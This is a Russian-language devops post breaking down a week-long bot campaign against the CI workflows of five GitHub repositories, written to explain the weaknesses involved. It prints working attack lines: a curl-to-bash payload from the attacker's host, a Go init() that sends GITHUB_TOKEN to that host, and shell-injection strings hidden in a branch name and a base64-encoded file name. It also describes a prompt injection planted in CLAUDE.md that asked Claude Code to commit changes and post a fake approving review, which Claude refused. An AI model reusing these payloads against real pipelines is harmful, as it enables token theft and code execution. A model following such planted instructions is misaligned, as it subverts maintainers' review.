📎
Один бот, пять техникЗа неделю автономный бот атаковал пять крупных репозиториев и каждый раз использовал новый способ. Пейлоад во всех случаях одинаковый —
curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.
Атака 1. avelino/awesome-go — кража токена через Go init()Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию
init() в Go-скрипт качества кода. В
Go init() запускается автоматически до
main(), поэтому вырезать её из потока выполнения нельзя.
В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами
contents: write и
pull-requests: write ушёл на внешний сервер.
Атака 2. project-akri/akri — прямая инъекция в shell-скриптСамая простая атака в кампании. Бот добавил одну строку в начало
version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий
/version minor в PR, который запустил воркфлоу
Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг
Update version minor завершился успешно.
Проблема в том, что воркфлоу не проверял
author_association — любой пользователь GitHub мог написать
/version minor в любом PR и запустить выполнение кода.
Атака 3. microsoft/ai-discovery-agent — пейлоад в имени веткиСам PR был тривиальным — одна правка в
devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)Bash разворачивает
{curl,-sSfL,...} в
curl -sSfL ..., а
${IFS} становится пробелом, а
$({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...Bash выполнял команду внутри
$(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.
Атака 4. DataDog/datadog-iac-scanner — base64 в имени файлаБот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).mdПри декодировании base64-строка разворачивается в
curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через
${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.
Атака 5. ambient-code/platform — prompt injection в CLAUDE.mdБот заменил
CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в
README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном
CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный
CLAUDE.md.
Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из
CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация:
Вакансии •
Задачи •
Собесы🐸 Библиотека devops'a#разбор_полётов